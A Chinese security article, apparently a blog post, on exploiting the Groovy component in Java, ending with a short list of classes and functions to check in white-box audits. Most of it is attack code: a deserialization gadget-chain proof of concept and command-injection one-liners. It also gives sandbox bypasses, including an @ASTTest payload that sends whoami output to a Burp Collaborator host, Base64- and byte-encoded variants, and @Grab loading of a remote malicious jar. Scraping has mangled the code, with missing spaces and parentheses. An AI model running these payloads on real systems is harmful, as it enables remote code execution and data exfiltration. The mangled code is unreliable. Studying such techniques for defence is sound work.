Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法_方法_代码_执行

反序列化

Groovy : 1.7.0-2.4.3

importjava.io.ByteArrayInputStream; importjava.io.ByteArrayOutputStream; importjava.io.ObjectInputStream; importjava.io.ObjectOutputStream; importjava.lang.annotation.Target; importjava.lang.reflect.Constructor; importjava.lang.reflect.InvocationHandler; importjava.lang.reflect.Proxy; importjava.util.Base64; importjava.util.Map;

publicclassGroovy_POC { publicstaticStringserialize( Objectobj) throws Exception{ ByteArrayOutputStream barr = newByteArrayOutputStream; ObjectOutputStream outputStream = newObjectOutputStream(barr); outputStream.writeObject(obj);byte[] bytes = barr.toByteArray;barr.close;returnBase64.getEncoder.encodeToString(bytes); }publicstaticvoidunserialize( Stringbase64) throws Exception{ byte[] decode = Base64.getDecoder.decode(base64);ByteArrayInputStream barr = newByteArrayInputStream(decode); ObjectInputStream inputStream = newObjectInputStream(barr); inputStream.readObject;}publicstaticvoidmain( String[] args) throws Exception{ //封装对象MethodClosure methodClosure = newMethodClosure( "calc", "execute"); ConvertedClosure convertedClosure = newConvertedClosure(methodClosure, "entrySet"); //反射获取AnnotationInvocationHandler构造方法Class<?> aClass = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor= aClass.getDeclaredConstructors( )[0]; constructor.setAccessible( true); //动态代理Map map = ( Map) Proxy.newProxyInstance( ConvertedClosure. class.getClassLoader, newClass[]{Map. class}, convertedClosure ); //初始化InvocationHandler invocationHandler = ( InvocationHandler) constructor.newInstance( Target. class, map ); //序列化String serialize = serialize( invocationHandler); System.out.println( serialize); //反序列化unserialize( serialize); }}

代码注入 条件

展开全文

如果外部可控输入Groovy代码或者外部可上传一个恶意的Groovy脚本,且程序并未对输入的Groovy代码进行有效的过滤,那么会导致恶意的Groovy代码注入,从而RCE

多种命令执行方法

运行这样一个Groovy代码,将会弹出一个计算器,成功执行了命令(def是用来定义标识符)

//回显的方式println "whoami".execute.text println 'whoami'.execute.text println " ${ "whoami".execute.text} " println " ${ 'whoami'.execute.text} " def cmd = "whoami"; println " ${cmd.execute.text}"

注入点分析 MethodClosure

看看他的构造方法

可以发现他传入了一个对象,第二个是对象的方法,通过其中的docall方法进行调用

但是 docall 方法是 protected 修饰的,不能直接调用,调用它的父类 Closure 的call方法间接调用

importorg.codehaus.groovy.runtime.MethodClosure;

publicclassGroovyInject{ publicstaticvoidmain(String[] args){ // MethodClosure methodClosure = new MethodClosure(Runtime.getRuntime, "exec");// methodClosure.call("calc");MethodClosure methodClosure = newMethodClosure( "calc", "execute"); methodClosure.call;}}

GroovyShell

类中的 evaluate 方法有多个重载,支持有 GroovyCodeSource String File URI 等参数类型,能够通过Groovy代码写入或者本地加载或者远程加载Groovy脚本来执行命令

其中的 parse 方法就是或者对应的Groovy脚本,之后调用run方法进行执行代码内容

GroovyShell shell = newGroovyShell; shell.evaluate( newFile( "src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));

这里的url和Groovy代码同样可以通过GroovyCodeSource封装之后执行 evalute 执行代码

GroovyEngine

GroovyEngine可从指定的位置(文件系统、URL、数据库等等)加载Groovy脚本,并且随着脚本变化而重新加载它们

其构造方法存在重载的方式,可以指定远程 Url/根文件位置/ClassLoader

之后通过使用run方法回显,有两个重载,一个是传入脚本名和对应的参数,另一个是脚本名和Binding对象

GroovyClassLoader

GroovyClassLoader是一个定制的类装载器,负责解释加载Java类中用到的Groovy类,重写了loadClass和defineClass方法

parseClass 可以直接从文件或者字符串中获取groovy类

Engine

在Engine中,支持名为“groovy”的引擎,可用来执行Groovy代码。这点和在SpEL表达式注入漏洞中讲到的同样是利用Engine支持JS引擎从而实现绕过达到RCE是一样的

bypass方法 反射+字符串拼接

Groovy沙箱绕过

Groovy代码注入都是注入了execute函数,从而能够成功执行Groovy代码,这是因为不是在Jenkins中执行即没有Groovy沙箱的限制。但是在存在Groovy沙箱即只进行AST解析无调用或限制execute函数的情况下就需要用到其他技巧了

@AST注解执行断言

利用AST注解能够执行断言从而实现代码执行

//OOB

@groovy.transform.ASTTest(value={ cmd = "whoami"; out= new java.util.Scanner(java.lang.Runtime.getRuntime.exec(cmd.split( " ")).getInputStream).useDelimiter( "\\A").next cmd2 = "ping "+ out.replaceAll( "[^a-zA-Z0-9]", "") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime.exec(cmd2.split( " ")) })def x

//使用Base64编码this.evaluate(new String(java.util.Base64.getDecoder.decode( "QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))

//同样可以直接使用Bytethis.evaluate(new String(new byte[]{ 64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

模拟受害者:

@Grab注解加载远程恶意类

Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库

需要导入 ivy 依赖,不然会报错(你可以试试)

POC

这里的加载依赖会看本地仓库是否有,如果没有就从root服务器的 group/module/version 目录里面下载 EvilJar-0.jar 文件,默认存放在 ~/.groovy/grapes 目录下

之后使用 processOtherServices 方法处理其他服务,比如这里的name

我们就需要在服务器上编写一个恶意类

排查方法

排查关键类函数特征:

关键类

关键函数

groovy.lang.GroovyShell

evaluate

groovy.util.GroovyEngine

run

groovy.lang.GroovyClassLoader

parseClass

javax..Engine

eval

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

靶场实操,戳“阅读原文“

特别声明

本文仅代表作者观点,不代表本站立场,本站仅提供信息存储服务。

分享:

扫一扫在手机阅读、分享本文